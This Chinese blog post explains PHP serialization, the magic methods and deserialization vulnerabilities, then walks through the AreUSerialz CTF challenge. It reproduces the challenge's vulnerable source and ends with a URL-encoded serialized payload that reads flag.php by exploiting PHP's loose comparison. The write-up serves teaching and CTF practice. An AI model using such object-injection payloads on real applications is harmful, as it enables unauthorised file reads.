本文最后更新于:2022年9月26日 下午
PHP反序列化
序列化(serialize)就是将对象转换为字符串。反序列化(unserialize)则相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象
访问控制
PHP 对属性或方法的访问控制,是通过在前面添加关键字 public(公有),protected(受保护)或 private(私有)来实现的。
public(公有):公有的类成员可以在任何地方被访问。
protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。
private(私有):私有的类成员则只能被其定义所在的类访问。
类
有类时会触发 魔术方法
那什么时魔术方法呢?PHP中把两个下划线开头的方法称为魔术方法(Magic methods)
serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。
魔术方法包括:
| 魔术方法 |
用处 |
| __construct() |
实例化类时自动调用 |
| __destruct() |
类对象使用结束时自动调用 |
| __set() |
在给未定义的属性赋值时自动调用 |
| __get() |
调用未定义的属性时自动调用 |
| __isset() |
使用 isset() 或 empty() 函数时自动调用 |
| __unset() |
使用 unset() 时自动调用 |
| __sleep() |
使用 serialize 序列化时自动调用 |
| __wakeup() |
使用 unserialize 反序列化时自动调用 |
| __call() |
调用一个不存在的方法时自动调用 |
| __callStatic() |
调用一个不存在的静态方法时自动调用 |
| __toString() |
把对象转换成字符串时自动调用 |
| __invoke() |
当尝试把对象当方法调用时自动调用 |
| __set_state() |
当使用 var_export() 函数时自动调用,接受一个数组参数 |
| __clone() |
当使用 clone 复制一个对象时自动调用 |
| __debugInfo() |
使用 var_dump() 打印对象信息时自动调用 |
简单的序列化:

序列化后各个字符串的含义:

PHP反序列化漏洞原理
序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。当传给unserialize()的参数可控时,可以通过传入一个精心构造的序列化字符串,从而控制对象内部的变量甚至是函数。
例子
CTFHub中 2020-网鼎杯-青龙组-Web-AreUSerialz
代码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
首先代码审计就是看两点,一有无漏洞,二有无可控变量。
我们发现源代码最后76行有可控变量str通过get传参,并且发现有unserialize反序列化。
我们再看到 flag.php 是在这个高亮化文件里面的,并且发现有class(类):
1 2 3 4 5
| class FileHandler {
protected $op; protected $filename; protected $content;
|
在反序列化后,相当于重新生成了一个对像,这个对象在程序结束时 析构执行_destruct()//第58行
如果op值为2则强制将op的值变为1,content值为空,调用process函数。//第20行
如果op值为1,则进入“写”函数;如果op值为2,则进入“读”函数。
这里我们需要读取到flag.php中的答案所以需要调用“读”函数//第45行
如果filename有值,则file_get_contents()函数把整个文件读入一个字符串中,如果给filename赋值为flag.php 那么我们就能读出flag了。
但是在destruct函数中进行了判断把2强制转换成了1:
1 2 3 4 5 6
| function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
|
所以我们这里需要知道,用三个等号时,除了两个变量的值相同外,还必须这两个变量的类型相同,而用两个等号时,只需要两个变量值相同。
我们构造payload时,构造op=‘ 2’字符串,则op=‘2’就不成立,此时op就成了我们自己设置的值。然后通过process()函数调用后:
1 2 3 4 5 6 7
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); }
|
因为这里为 op == “2”为弱类型对比只需要值相等就能调用“读”函数。就能读出flag.php文件了。
构造payload

序列化出来的payload为:
1
| O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bs%3A2%3A%22+2%22%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D
|
注意这里要把protect改为public才是公有的,并且要将FileHandler用new实例化。